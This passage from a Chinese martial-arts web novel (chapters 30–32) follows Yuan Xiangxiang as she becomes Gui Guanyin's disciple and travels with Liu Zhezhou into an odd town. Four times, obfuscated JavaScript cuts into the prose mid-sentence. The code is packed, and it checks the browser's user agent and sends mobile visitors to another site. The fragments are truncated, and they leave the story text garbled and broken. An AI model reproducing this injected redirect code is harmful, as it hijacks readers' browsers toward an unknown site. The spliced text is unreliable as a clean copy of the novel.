她的眼神锐利如刀。 上次,她还有话没说明白。 这一次,她一定要和那个人说个一清二楚。如果那人还执意不肯认下自己,她便死了这颗心。 柳折舟见原湘湘已经答应,脸上的焦急一扫而光,慢慢又恢复成了先前的一脸芙蓉色。 “多谢湘湘姑娘了!此事了解后,折舟必定涌泉相报。” 原湘湘重又接过他手中的缰绳,淡淡扫视他几眼,冷冷道:“你可别再吐血了。” 柳折舟闻言垂眸一笑:“不会了不会了。” 奉国寺方丈已经为我治过伤了。他心中叹道。 原湘湘再次从回忆中恢复过来时,这片山坳里暮色四合,火堆明亮耀眼,而上面烤得那只鸡正散发着焦香的味道,鸡肉被烤得油亮通红。 柳折舟往上面抹了不少调料。 “湘湘姑娘你要不要先吃一口。”他用刀切下一块没有糊掉的鸡肉递到原湘湘的嘴边。 原湘湘看着可怜的雁栖被糊满了油,还未来得及哀悼,口水便瞬间涌出,两腮一酸。 她张开了嘴,柳折舟将一块鸡肉喂给她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741649|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“如何?”柳折舟几乎快要贴在她的脸边。 她粗粗嚼了两口便迅速咽下,素来少有表情的脸直接绞在了一起,十分痛苦地叫道:“……水。” 真的是又咸又辣。她被呛得几乎说不出话来。 柳折舟慌忙拿起水袋交给她,原湘湘拧了盖子,大口饮下,可是,水一停,喉间便又涌出滚烫的灼热温度。 她只好不停地呼哧呼哧喘着气。 原湘湘拧眉看向柳折舟,眼中还残留着些许泪光,小巧的脸上泛着不自然的红色。 柳折舟望见她这般模样,顿时心脏一空,他赶忙转过去,胡言乱语道:“我……我还有半只鸡……这半只糊掉的给我。” 原湘湘猛吸一口凉气,她依旧拧着眉,吸了吸鼻子。 鼻涕都被辣的出来。 这顿饭吃得乱七八糟,不过,原湘湘倒是觉得柳折舟反常得厉害。 他们二人并肩坐在火堆旁,有那么一瞬间,她不知道是不是自己的错觉,她觉得柳折舟两颊处的裂纹更深更密了,已经到了鬓发也无法遮挡的地步,甚至往他深深的颈间蔓延着。 如同千年古寺中的观音像,在风吹雨打下,渐渐生出了许多无法修复的裂纹,而那裂纹也注定会让这尊美丽无比的观音像分崩离析。 原湘湘望着他的脸,忽而忆起了第一次见面时的那晚。 她从心底的深潭中渐渐生出一个念头来。 那念头正如这火中枯木,一旦遇火便立即燃起,火焰滔天,再也无法将它从心底里抹去。 她一动不动地望着柳折舟。 许是感觉到她灼热的目光,柳折舟扭过来,朝她笑着:“你在看什么?” 原湘湘立即转过脸,道:“你口味好重。” 她说这话并非空穴来风,那半只被柳折舟刷满了调料和辣椒的鸡,他竟然面无表情地吃了下去。 “哈哈。”柳折舟不好意思地尬笑两声。 原湘湘听着他说笑的声音,心中却掀起来大浪,她不住地暗示自己:原湘湘你疯了!他是男的!他亲口说他喜欢……!你怎么能把他想成替代品呢? 入夜,夜寒风起,原湘湘忽然惊醒,她听见有一阵轻微似风般的脚步声,愈来愈近。 猫儿一般的无声爬起,她掀开马车帘子,看见火堆旁边还躺着柳折舟便悄悄起了身。 柳折舟怕冷惧寒,临睡前他将不少褥子都裹了起来,自己钻了进入,活像一只结茧的蚕。 马车里那张舒适的地方留给了原湘湘。 明月挂天,星辰与云都被消了颜色,只有辽远澄澈的天幕一望无际。 原湘湘起身查看,她循着声响的方向前进,不多时,便来到一处空旷明净的竹林旁。 竹林沙沙作响,互相摩挲,明月在天,清潭荡地,一时之间,四周寂静至极,只能听得见那些许微弱的沙沙声。 她顺着月光抬头,只见一缕白色倾斜而下,如同一条薄而透明的小溪,迎着月光,汩汩流出。 竹海之上,轻轻坐着一个修长的白色影子。 那一身的白衣,顺着月光,流进原湘湘的眼睛里,涌进了原湘湘躁动的心里。 她顿时加快了脚步。 30.一厢旧梦悠悠似我心(中) 她顺着月光抬头,只见一缕白色倾斜而下,如同一条薄而透明的小溪,迎着月光,汩汩流出。 竹海之上,轻轻坐着一个修长的白色影子。 那一身的白衣,顺着月光,流进原湘湘的眼睛里,涌进了原湘湘躁动的心里。 “你来了。”竹海之上的那人背对着她,那个人微微侧目,周身渡满冷冽的月华。 她一路疾行而来,可看见了鬼观音再次现身,脚步却忽然变得沉重起来。 原湘湘眉头轻蹙,不自觉地咬着嘴唇。 “你对我的事,似乎知道不少。”鬼观音长袖扶风,四周顿时风起,竹海涌起空灵之声。 原湘湘先是点头,而后又狠狠摇头,她道:“我……没有那么了解。” “那你为什么救我?又为什么要跟着我?” 原湘湘猛然一震,她想要开口解释,可只要想到玄女殿中的事情,她就不知道说什么才好。 一阵风吹竹响,耳畔响起竹叶被轻踏的碎裂之声,不多时,那个修长玉立的人就来到了原湘湘面前。 原湘湘依旧见不到她的脸。 “此前,你说要拜我为师。”鬼观音立在原湘湘的面前,幕篱遮面,衣袖生风。 原湘湘心头一惊,像个在学堂被先生点名的学生。 “诚如江湖中所言,我确实有些行动不便,收下你……”鬼观音忽然飘至原湘湘的身前,她俯下身,轻轻贴着原湘湘耳侧,幽幽道来,“不知,你意下如何?” 那如鬼魅般的语调犹如毒蛇一般将原湘湘的心脏紧紧缠绕,离得越近,蛇便绞得越紧。 她,几乎快要不能呼吸。 一如之前在玄女殿废墟中,鬼观音从原湘湘的身后欺身而来,冰凉的香气将原湘湘彻底包围,鬼观音尖细的指尖亦抵在原湘湘颈间跳动的脉搏上。 在那之下,是犹如岩浆般滚烫沸腾的鲜红热意。 原湘湘不禁绷紧全身,她兀自咽下了刚到喉咙口的话。 “不过,你要回答我三个问题,”鬼观音尖细的指尖轻轻敲打着她颈间的那一点脉搏,微弱的刺痛夹杂着寒凉从那一点血液的搏动泵向全身。 原湘湘缓缓偏头,余光正好瞥见鬼观音修长的手臂。她追问道:“……你说。” “你从哪里来?为何要救我?” 原湘湘忽觉颈间一空,待反应过来时,鬼观音已经起身走向竹林。 鬼观音继续道:“我观你出手不凡,想必你的那位师父也不比我逊色多少。” 月光漫漫,竹海涛涛,鬼观音漫步浅行,腰间一侧的孤鸿恰如秋水凝光,她的身影渐渐融入远处的幽深竹海中。 原湘湘起身跟在她的后面。 原湘湘道:“我家住鸡鸣山,自然从来处来;十年前,楚州南边小镇中的玄女庙里,你救下了我……所以我就是为了你才来的。” 鬼观音忽然停住了脚步。 原湘湘见她停下,便趁热打铁道:“只是……你似乎并没有认出我。” “最后一个问题。”鬼观音的声音似乎沉重许多,又像是覆满冰霜一般,“你……你是不是喜欢我?” 啊,这又是何种意味呢? 原湘湘从来没想过“喜欢”这两个字眼,她只是凭着感觉、跟随直觉做自己想做的事。想学武,那便无论如何也要学武;想活下来,那就不择手段也要苟且偷生;想要身边有自己……喜欢的人,那就一往无前地去追寻…… 寂静,如同死一般的寂静。 就在原湘湘以为自己快要窒息而亡的时候,鬼观音的声音缓缓而来:“天地广大,人生海海,你不如多去见见其他人呢。” 江湖中疯传的杀人不眨眼的大魔头竟会说出这样的话? 原湘湘可没想那么多,她只听出鬼观音又要撵自己走的意思,一时之间她又慌又急,便冲上去道:“我确实是想留在你身边的,我要你跟我回五里村。” 五里村是原湘湘和铁匠师父隐居的一处小村落。 这一次原湘湘直接冲到了她的面前张开双臂拦住了鬼观音前行的去路,她不再害怕,也不会恐惧,原湘湘只是在用力追寻自己想要的一切。 至于结果究竟如何,有时候人力确实无法左右。 但是,作为人也要尽力而为,万事顺遂,自然好上加好;如果不成,起码争取过,绝不遗憾。 原湘湘挡她的面前,张开的双臂虽然纤细但却坚韧有力,她又一次大声道:“我要你跟我回去隐居。” “跟你回去?能去哪里?” “回家。” “家在何处?” “家在……”五里村。后面三个字到了嘴边反倒自己咽了下去。 对啊,原湘湘你真正的家在哪里?你家中有什么?到底哪里是你的家? “呵,看来也是个无家可归的可怜人。”鬼观音收剑轻笑。 原湘湘被她戳中痛处,心中不免难过,可她仍旧不想放弃;“我想你跟我回去隐居,不问世事。姐姐……” 她不曾想过这样做的后果,总之,她原湘湘愿意承受一切,愿意为自己的选择负责到底。 清冽的月光下,少女红衣随风张扬,衬得她仿佛一株迎寒不倒,炽烈绽放的红花,热烈而炫目。 原湘湘一动不动地盯着对面的鬼观音。 鬼观音掩藏在衣袖下,紧紧握住孤鸿的手开始微微颤抖起来。她惊觉一瞬:我在怕什么? 可是下一瞬,鬼观音便将孤鸿指向原湘湘的喉咙:“这就是你真正的目的?” 原湘湘微微抬起下颌,纤细的脖颈径直对着孤鸿锋利的剑刃,她道:“这一段时间,我想了许久,我没有什么大愿望,我只想安稳过一辈子,我要我喜欢的人和喜欢我的人都平安快乐。 “而所谓的追寻你,喜欢你,应该就是我也想你平安快乐。” “哼。”幕篱下传出鬼观音一声颤笑,她握剑的手前进一寸,离湘湘更近,“你以为这世上是你想如何便能如何的?大家未定,小家安宁?” “可若不敢去想不敢去做,那便是一点希望也没有。” 月下风寒,孤鸿的剑刃发出令人心颤的鸣响。 原湘湘目光坚定,决不退缩。她收回张开的双臂,一步步缓缓走向鬼观音的面前:“正如我一直坚信你并不是传言中的那般。” 她每走一步,地上的枯竹叶都会窸窣作响,碎叶飞散,月光流水,一长一矮的两道人影愈来愈近,直到原湘湘的喉咙即将触及孤鸿的那一刹那,只听“铮”的一声,那道秋水洪波便流回鬼观音翻飞不止的衣袖间。 “我不是你想的那样。”鬼观音又一次转身不去看原湘湘。 “姐姐,那你今天又为什么来找我?” “我……”一声极轻微的话语被鬼观音吞没在喉间,面纱下,鬼观音水红的薄唇微微张开,后又缓缓合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750494|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上。 你想说什么? 你能说什么呢? 你究竟是为何而来的? “我知道姐姐因为炼了邪功的缘故不能见光,可我至今都无法忘记那一天,在霞光中与我约定日后再相见的你。”原湘湘越走愈近,直至来到鬼观音的身侧,“我会助你夺回孤鸿剑鞘,我们一起找到灵帝墓,找到灵帝血,助你神功大成,这样姐姐便不会再受日光之苦。” “你就料定我会随你隐居山林?” “我不确定。”原湘湘淡淡道,“我只知我愿这样做,至于神功大成之后,姐姐是想要一统武林还是独身一人,又或者真随湘湘而去,那都是姐姐的事。至于其他,湘湘所做是湘湘想去做。” 寒风吹动鬼观音的面纱,映着月光,露出一道漂亮分明的下颌来。 原湘湘的双眼从未离开过鬼观音,可就在刚刚风过的那一瞬,她的眼中跃过一刹的惊诧。很快,她迅速收敛了目光,重回此前不动声色的样子。 “你当真不会害怕不会后悔?”鬼观音问道,“如果这一切真的和你所愿并不同。” “古人云:‘言必出行必果’,湘湘所做的这一切既是为了姐姐,也是为了自己。” “你就不怕事成之后我一剑杀了你?” “姐姐不是这样的人。” “……我并非你想象中的模样。” “时隔十年,湘湘也变成了姐姐认不出的样子。” “冥顽不灵。” “姐姐是湘湘的观音,就当是湘湘着相了。” 鬼观音随即狂乱一笑:“哈哈哈哈哈,好!你这个徒儿我收下了!让我试试你究竟还有几分实情隐瞒于我!” 一剑破空,清光四溢,鬼观音长腿飞出,袖袍翻飞,孤鸿的剑尖已经直指原湘湘的眉间,寸寸紧逼。 鬼观音道:“你可知‘一日为师终身为父’,你已有师父却又拜我,是为不忠不孝。” 原湘湘丝毫不慌乱,脚尖轻踏,一个纵身上跃,躲过剑光:“是那个男人放我来的!” 原湘湘说的没错但也有错,因为那个男人的原话是“湘湘你要是胆敢偷偷下山以后就别认我这个师父了”。 原湘湘跃至半空后,凭空运力踏步,箭一般朝鬼观音飞去,雁栖随即出鞘,一点寒光也随她而去直指鬼观音。 原湘湘有一点私心,她想割破那层面纱,她想再看一看那张脸。 鬼观音不躲不避,剑光回荡,径直接住原湘湘的奋力一刺! 那一刺,刀刃触及剑刃时候,没有传来像想象中即刻四分五裂的触感,反倒让原湘湘突然间心神不宁。 传闻中能够削铁如泥的孤鸿与同样能够挥剑断玉的短刀雁栖相触之时,刀未断,剑未折。 鬼观音问道:“你的上一个师父到底何许人也?” 一剑挥出,剑风将原湘湘扫出数丈之外,还不待原湘湘反应过来,鬼观音又一次欺身而至—— 原湘湘登时旋身而起,几个起落间便跃上了竹海之上。 “他只是村里一个铁匠。” “当真?”鬼观音也飘飘而至,她的身姿如同一片凋零的花瓣,缓缓坠落在水面之上。 听到鬼观音这般反问,其实,原湘湘也不信她刚刚给出的回答。但事实就是,她和铁匠师父相处了十年,但对那个人的一切都是毫无知晓。 “我不会对你撒谎。”原湘湘沉声答道。 31.一厢旧梦悠悠似我心(下) “我不会对你撒谎。”她沉声道,犹如凡人对神佛的虔诚祈祷一般庄重。 红衣的少女点足立在竹海之上,寒风将她蓬松蜷曲的长发高高扬起,满身衣摆绣带随风招摇,月色之下,少女脸上的灼灼目光犹如寒泉一般涌入人心,又转瞬将听话之人淹没。 原湘湘的两条束花双辫飘荡在身后,额发也被寒风带起,露出光洁的小脸后,可以清晰见到她的左额处留有一道形似蜈蚣般的恶疤。 她的声音随着风声月色流进了鬼观音耳中。 立在竹海那一端的白衣仙子久久不动,周身白衣悄然化作月色流进竹海中,环佩叮当,鸣响不停,犹如一颗砰砰乱跳的心。 “你此前受疏影香影响曾断过全身经脉,虽然在阆天塔中我曾为你梳理过一番,但应该还无法恢复到原来的状态,这于你以后练功习武都有莫大的影响。”鬼观音缓缓道来。 原湘湘听见她这样说自己无法继续练功习武,不免心中落寞起来,垂下了头。 “所谓物极必反,全身经脉断裂也不尽是坏事。”鬼观音忽然飘至她的眼前,“今日我便传你心法,助你重修经脉,再聚内力。” 话音刚落,原湘湘便觉自己身上任督二脉两处传来冰凉,她甫一低头,便见孤鸿剑刃轻触她的周身。 旋即天地倒转,原湘湘只觉自己被一股清风紧紧托住,四周风声更盛,漫天月光涌来,几乎遮蔽了她的眼前一切。 她的耳边传来鬼观音的声音,下一刻,她就感觉自己全身上身几处大穴被打中,随即一股酸痛涌入,酸痛很快散去,然后一股股热力自那些被打中的穴位中生发。 她不禁闭上了眼睛。 “心如止水,静听万物,凝神入气,起下丹田。” 鬼观音话音一落,又是几股酸痛打中她的肩窝和手心。 “过命门至百会,经印堂壇中返下丹田,以意导气,气分两股,调息绵绵,分至筋脉。” 原湘湘努力睁开眼睛,不由得怔住。 她被鬼观音以内力化作的清风托于竹海之上,那源源不断的浑厚内力如同风流一般游走在原湘湘周身,无数青绿如玉般的竹叶环绕在她身侧,将她紧紧包围在其中。 鬼观音挥手而来便是几片青青竹叶,犹如闪电般打中原湘湘下身几处穴位。 很快,酸痛过后,连绵不断的热力生出,又渐渐与上身的热力相连接。 “不要分神,随我所说一同在心中冥想。” 原湘湘全身此时虽然不再疼痛,可那重塑经脉之热却伴着一股天旋地转般的眩晕袭来,她勉强抽回神智,朝鬼观音点点头。 “意息相依,气虽心动,沿筋游走,顺脉而行,周天循环,长吐而出。 “心无他物,天地连通,天塌不惊,地陷犹定,观自在变化,悟天地人同。” 随着鬼观音随后一番话落地,又是一团青青竹叶如雨一般点在她周身百十处穴位上,每一片竹叶上都附着鬼观音的内力,借由打中穴位的一瞬间,全部注入原湘湘的经脉之中。 鬼观音这般高深莫测的武林高手的内力又岂是她这种初涉江湖的小丫头轻易承受得了的? 即便,鬼观音在施力时只用了不到十分之一的内力。 原湘湘奋力凝聚深思,她一边默念心经,一边跟随着体内潜藏着的一股细弱的凉意引导着周身热力。 从头顶到胸腹再到下肢,最后运转一个周天。 她感到那令人作呕的晕眩感终于消去大半。 原湘湘睁开眼睛,只见鬼观音仍旧立在竹海之上,一双修长的双臂不断动作着,袍袖翻飞,如霞似云,玉颜朦胧,更衬得她宛若天人。 鬼观音不断地朝着原湘湘的体内输送内力并帮她打通引导筋脉,原湘湘忽然觉得周身血管中好像有无数条细流在经脉间流动,就好像全身都浸在冷水之中,灼热的烫意缓缓褪去,令她舒适不已。 不多时,原湘湘只觉周身内力激荡,丹田处仿佛有一股源源不断的泉眼一般,不断地往外流出内力,并与全身相链接。 自此,八脉开,百脉通,神清目明。 鬼观音撤回风流的瞬间,原湘湘还未彻底回神,脚尖尚未站稳,她便“啊”的一声径直坠下竹海。 修竹映月,竹海深深,她甫一掉落根本没来得及回神,只觉脚底心头俱是一空,整个人便沉沉往下掉,竹林中横生的竹枝竹叶割得她脸疼。 而后,原湘湘便觉得自己落入了一个温凉的怀中。 鬼观音不知何时已从竹海的另一端飞身而至,将她打横抱起。 此时此刻,原湘湘只觉天地寂静,只有眼前的这个人一如十年之前救下自己。 鬼观音拖着原湘湘不出片刻便已飞出竹林,她便将原湘湘放下。 “你……以后要小心些。”鬼观音的语调不知为何有些凝滞。 原湘湘点头。 她的目光依旧追随鬼观音而去,就在刚刚那一瞬,她也不确定是不是自己眼花,她在鬼观音垂下的发丝间看到了几绺白发掺杂其中。 以及,在那被风扬起的白纱之下,原湘湘清晰地看见了那个漂亮分明的下颌。 “你若真心想助我找到灵帝血,就得先找到孤鸿剑鞘。” 无鞘之剑,鬼剑孤鸿。孤鸿并非无鞘,据传在铸造之时,剑鞘被一分三段,而那每一段剑鞘合起便是无人所知的灵生帝墓穴所在之处。 灵生帝何人?前朝末代皇帝,受长生天玄女雨露赐福的世间第一人,本该养国安民的皇帝却在城破之时消失不见。 天下皆传他在某处羽化登仙,飞天而去了。 “剑鞘为三方所铸,其中一方便是当今远在海外的东濑国。” “那我们岂不是要渡海而去?”原湘湘不得不深思。 “东濑国公主早就来到了中州,她必会经过临安上岸,届时不管是临安首府还是朝廷,都会派人前去。”鬼观音慢慢道来,“你做好觉悟了吗?要去死城吗?” 中州南部唯一一处半自由的城池,无人可进,无人能出,故名死城。 原湘湘凝眉道:“我会的。” 鬼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755386|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 观音不再犹豫片刻,得到原湘湘的回答后,她即刻飞身而去,修长的身影转瞬融入了月色之中。 原湘湘一直望着她离开的方向,直到鬼观音彻底消失不见。 死城。 在中州最南部,毗邻东南海岸,气候温和湿润,多水,故而此处湖泊河流遍布,水路发达,尤其位于中心的临安城,更是商业中心。 但自从首府刘天承于二十多年前上任后,临安城就慢慢变成了江湖中的“死城”。 无人可进,无人能出。 原湘湘思量半晌后才回到马车里。临上车前她还专门去看了一眼火堆旁裹成蚕蛹的柳折舟。 现在已是下半夜,火堆中的木柴早已烧光,只剩零星一点火光还在跳跃。 原湘湘往里面添了一些柴,待火烧得更旺后,她才坐下,盘腿在火堆旁打坐调息。 木头被火点着,发出“哔哔剥剥”的细响。 柳折舟轻轻撩开裹成茧一样的被子,露出半边脸来,他望着原湘湘。 橘色的火光折射在原湘湘的身体之上,暖色流离,衬得她皮肤莹暖似玉。 他就这样看了半晌,直到原湘湘调息结束时,他才慌慌忙忙又钻进了被筒子里。 “你冷吗?”原湘湘问他。 柳折舟轻轻回道:“不冷。” “现在距离天亮应该还有一个多时辰,我给你添了火,你小心些,别裹着被子睡到火里了。”原湘湘淡淡叮嘱着。 “多谢湘湘姑娘。”柳折舟在被子里闷着的声音听起来有些咕哝,“湘湘姑娘在车上棉被可还够用?如果不够的话,明日我们赶集再多买点儿。” 原湘湘没有接他话茬,转而问道:“上次你说去死城的事,我仔细考虑过了。” 柳折舟听她这样一说,立刻就从被筒子里爬出来半截身子。 “湘湘姑娘愿意答应帮忙了吗?”他喜笑颜开地望着原湘湘。 原湘湘故意扭开脸不去看他,道:“也不能说是‘愿意’,刚好我也有事需要去。” “如此甚好!两全其美!”柳折舟一激动爬起了身,裹着被子坐到原湘湘身侧,临了,也不忘把一件重锦绣花的厚毯子披在原湘湘身上。 “真好啊。”他眯着眼睛,烤着火,依偎在原湘湘身侧。 原湘湘悄悄偏头,用眼角的余光偷看他。 柳折舟一脸安详地坐在她的身侧,火光带来暖意,他裹着被子坐在那里,面上宁静安详。 真如霞光万丈下的石刻佛像一般,既悲悯又温柔的一张脸。 柳折舟不笑时,看起来是有些疏离的。原湘湘再次这样确定。 她的目光又慢慢移至柳折舟的下颌附近,原湘湘可以清晰见得那生在皮肤之下的裂纹更多更密也更深了。 从他被遮盖住的脖颈深处蜿蜒而出,就好像是从心脏中长出的裂纹,爬过肩颈,一直生长到他的下颌和脸畔。 原湘湘忽然垂下眼睫,不知在思索着什么。 方才,她在柳折舟散落的发丝里看到了缕缕白发。 32.天上掉下一个原妹妹 从山中蜿蜒而出的小路曲曲折折,路两旁的小树枝丫抽出新绿,叶片上凝着滴滴冷雨。 不远处,一辆马车正慢慢地行来。 那车上人似乎相当闲淡,以至于车子慢到几乎如同蜗牛般的爬行也不见车上二人有过半点着急。 “湘湘姑娘,轮子被泥塞住了。”一个年轻的白衣公子趴在车上,伸直了脖子往车后看。 不多时,那个手拿鞭子的红衣少女也凑了过去,她道:“嗯,被塞住了。” “后面本来就是水路居多,不若我们就此坐船吧。” “可以。” 话音刚落,俩人就先后钻进车厢收拾了些行李出来,而后便手提肩背着走了。 柳折舟撑着一把伞飘到了原湘湘的身侧,那伞正好罩着她。 她看了看身侧,正好对上那双笑吟吟的脸。 “湘湘姑娘。” “唔。”回望一眼,她迅速收回目光。 初春白天,由下往上,她可以清晰地看见柳折舟未被衣衫遮挡住的一切。 原湘湘往前扫了一眼,远处的房舍屋镇笼罩在烟雨朦胧中,四下还未开始耕种的田野里长着不少嫩草小花。 她本来这样面无表情地看着,可下一刻忽然长眉倒竖,目中生出几分怒意来,整个人犹如离弦之箭般飞射而出。 “湘湘姑娘!”柳折舟眼前徒留一抹红色的残影。 他依旧柔柔笑着,仿佛见到这样的原湘湘他才开心。 原湘湘一路奔行而去,直到能清楚看见镇子入口处的牌坊她才停下。 眼前传来一阵又一阵的鞭笞之声,一个年青的男子跪在石板地上,双手被绑在身后不能动弹,他双目紧闭,口中不时泄露几声痛苦的呜咽。 他的身旁是两个身着黑红长衣,头戴高冠的两个男人正用泡过油的鞭子狠狠地抽打他的脊背。 每一鞭落下,那男子的脸上便更痛苦一分,皮肉也绽开更深一寸,鲜红的血顺着他肌肉虬起的臂膀滴落,然后汇聚在地上的一个扁口瓷盘中。 那盘中血已经慢慢溢了出来。 原湘湘大声呵斥,道:“你们在做什么?” 话毕,她自己也吓一跳。倒不是因为打破了“不管他人瓦上霜”的话,而是比起看到这般场景,她一路狂奔而来,竟然是闻着血气。 她是顺着血气寻来的此处。 “你是……”两个持鞭之人见状便收了武器,他们话还未完,原湘湘就被一声霹雳震得原地愣住。 “娘子!”地上那个被抽得皮开肉绽的男子忽然喜笑颜开,跪行着挪到原湘湘的面前,那张被汗浸透的脸在原湘湘的裙摆上微微蹭着,“娘子!娘子!是真的娘子!我真的有娘子了!” 原本毫无生气的脸瞬间水盈盈起来。 他就像一只许久未见主人的小狗,急急忙忙往原湘湘身上钻。 “什么娘子?” 一声柔柔的呵斥从原湘湘的身后飘来,而后那个被缚着双臂的男人就“咚”的一下倒地不醒了。 只见那个一身白衣的如玉公子收起手中长伞,悠悠道来:“这个登徒浪子,衣衫不整,见了年轻姑娘便唤‘娘子’,说不定见了年岁大些的就直呼‘娘亲’!如此寡廉鲜耻,谁知道家中还有多少‘娘子’‘娘亲’。湘湘姑娘,莫要——” 白衣公子尚未说完,原湘湘又听见身后穿来“??”的一声闷响,柳折舟也被人敲晕了过去。 她连忙扶住。 “果儿媳妇儿。”那两个负责行刑的长衫男子拱手道,“果真是圣元娘娘显灵了!果儿一家有后了!大慈大悲受苦受难有求必应的呐!” “果儿媳妇儿!走!我们带你去果儿家,你要先去拜见家婆!”另一个行刑人的中年男子从原湘湘手中抬走柳折舟便要走,“既是果儿娘子,我等会为你们备好一切。” 另一人解了那赤裸男子手间的绳子,将他背在后背上。 “我不是果儿媳妇儿。”原湘湘义正词严地解释道。 那两个男子刚刚抽打李果儿时面色深沉,严肃得不可侵犯,可自从原湘湘出现后他们便变了脸色。 “果儿媳妇儿,你就是赐给果儿一家的神迹啊!果儿求了三年才求到你!” “我不是。” “到时一定要请给你们的婚宴大办特办,这都多少年了,终于来了个女娃!” 原湘湘:“……” 那二人完全不听解释不停人话,一人身后背一人还不忘帮忙拉回马车,原湘湘不得已跟在那两人身后走进牌坊大门,而后踏入这个山坳小镇。 她不是没有能力带着柳折舟逃走。只是,在听到那些人的言语之时,她忽然想起了一些不愉快的经历,因此她才决定平静地跟在那二人身后。 此地,似乎并不如表面上那般平静。 阴云既散,日光照彻天地。 一群人穿过大街小巷来到一处破败萧条的宅前,原湘湘抬头望去,门上面还挂着一个七扭八歪的“李府”二字。 “果儿媳妇儿,你不要这般看着,果儿可是全镇上最孝心最善良的儿子了。 “为了求救回他的母亲,多年来一直恪守着‘圣元三条’从未一天懈怠过。不仅每日虔心祈祷更是捐赠了全部的家产,而且三年来一直“吃苦受苦”,从未有过一句怨言。这不,老夫人希望果儿能娶到媳妇儿传宗接代,求着求着你就来了。” “受苦受难,有求必应,大慈大悲,圣元娘娘。”另一个较瘦的高冠行刑人低低念着。 原湘湘默默听着看着那二人,并不言语。 那两人径直入了李果儿家,将李果儿和柳折舟放下后,二人又分别从腰间取下一个葫芦,给昏迷的二人饮下后方才离去。 原湘湘一个人立在房中,看着房屋中央一张竹床上一躺一趴两个人忽然间有些手足无措。但不管如何,看着李果儿全身上下的鞭刑伤痕,她还是于心不忍。 李果儿后背上密密麻麻遍布着无数新旧伤痕。 那鞭痕每一条印子都分布在不同位置,或高或低,紧密相挨着,行刑官的每一鞭都避开李果儿身上未痊愈的伤口和新生的伤口,只打在已经无碍的皮肉上。 那些鞭子不知是何种材料制成,致使李果儿的伤口都如同被野兽啃噬过一般,血肉模糊,皮开肉绽。 新鲜的血液顺着外翻的烂皮坏肉不停往外渗。 原湘湘愣愣站定半天,她才回过神来,应该打水清理伤口。 “我这是怎么了?”她拍拍自己的脑袋。 李果儿家不大,东西两处厢房,正堂坐北朝南,院落上覆盖雕花天井,而东西两处各有水井。 原湘湘打了水进屋,便拿出包裹里的药物给李果儿清理伤口。 不过,原湘湘再给李果儿清理伤口时注意到耷拉在床沿旁的左臂上也遍布着新旧不一的口子。那些用利器划开的口子有的已经结痂或泛白,有的还微微露出皮肉的颜色。 良久,待她已经处理完毕之时,耳边传来了一阵痛苦的闷哼。 绝对不是李果儿。 果不其然,下一刻就见柳折舟扒拉着床沿蹙着眉头直接吐出一大滩黑血。 他勉强撑着竹床,微微垂着头,凝眉闭目微微喘息着,嘴角还挂着几丝血迹,日光透过雕花木窗照在他的身上,几绺发丝顺肩而下,恰如一只濒死的白蝶。 原湘湘默默移开眼睛。 “他们……是不是为我喂了什么东西?”柳折舟缓缓睁开双眼,他的手指紧紧攥着床沿,骨节泛出清透的白色。 原湘湘一边收拾着一边道:“嗯,但我也不知道那葫芦里装的什么药。他们给他也喝了,但他没吐。” 柳折舟轻轻扶着额头,而后偏过脑袋,顺着原湘湘声音的方向看过去。他道:“这地方有点问题。” 他转过来的时候,日光映射着他的面部,那一瞬间,原湘湘不禁愣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759600|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了神,她看见他的眼睛他的全身,似乎如同褪去了所有颜色一般,只余一片空白。 可是下一刻,待柳折舟低下头时,他似乎又恢复了颜色。 原湘湘只觉是自己又不小心被这个人的那张脸给下套陷害了。 “走不走?”原湘湘问他,“不过,现在就算想走——” 他们二人的任务本来就是死城,这个小镇本来就是路过而已,如果想走,最好就是趁现在李果儿还没醒的时候。 “也晚了。”柳折舟轻声附和道。 偏僻小镇里一处普通小院民居,原湘湘的耳朵微微翕动着,她能清晰得听见院外已经来了四五个人。 柳折舟和她对视一眼,脸上依旧是那般风轻云淡的桃李春风般和煦温柔。 